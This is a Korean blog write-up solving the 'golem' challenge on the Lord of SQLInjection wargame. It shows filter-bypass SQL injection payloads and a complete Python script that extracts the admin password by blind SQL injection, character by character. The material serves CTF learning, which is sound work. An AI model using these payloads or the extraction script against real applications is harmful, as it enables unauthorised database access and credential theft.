Lord of SQLInjection (golem)

✏️ 풀이

preg_match 함수에서 어떤 문자가 필터링되고 있는지 보면 prob _ . () or and substr( = 인 것을 알 수 있다. 또한 아래에 코드를 보면 blind sqli로 풀어야 한다는 것도 알 수 있다.

image-20250423231901598

먼저 substr 함수를 우회하기 전에 guest로 Hello 쿼리가 나오는지 봐야 한다. 아래 페이로드를 통해 1=1 대신 1이라는 true 값과 or 대신   문자를 사용해서 우회할 수 있다.
' || 1-- -

image-20250423232409866


아래 페이로드를 통해 blind sqli 쿼리를 한 번 만들어볼 수 있다. = 문자는 like로 대신하고, substrrightleft 함수를 같이 사용하면서 substr 함수와 동일하게 작동할 수 있다. 또한 and or 연산자 우선 순위와 && || 문자로 대신해서 아래처럼 적용할 수 있다. 주의할 점은 url에 넣을 때 & 문자는 %26 으로 인코딩해서 넣어주어야 정상 작동한다.

1' || id like 'admin' && right(left(pw, 1), 1) like 'a'-- -

image-20250423234121171


테스트 해보면 Hello admin이 잘 나오는 것을 볼 수 있다. 이제 pw 값을 blind sqli로 파이썬 코드를 짜야 한다.

image-20250424001420040


코드는 이렇게 작성했다. string 모듈을 이용해서 패스워드에 들어갈 문자를 password_charset에 넣고 substr 로 blind sqli할 때와 동일하게 작성하면 된다.

import requests
import string

# 영어 대소문자 + 숫자 + 특수문자
password_charset = string.ascii_letters + string.digits + string.punctuation

print(f"테스트할 문자: {password_charset}")

password = ""
url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
cookie = {"PHPSESSID": "3gkm2054bi501f689hd20e39cp"}

for i in range(1, 100):
    found = False
    for j in range(0, len(password_charset)):
        param = {
            "pw": f"1' || id like 'admin' && right(left(pw, {i}), 1) like '{password_charset[j]}'-- -"
        }
        r = requests.get(url=url, cookies=cookie, params=param)
        if "Hello admin" in r.text:
            found = True
            password += password_charset[j]
            print(f"[+] password {i}번째 자리는 {password_charset[j]}입니다.")
            break
    if not found:
        print("[-] End")
        break

print(password)

image-20250424003913169

댓글남기기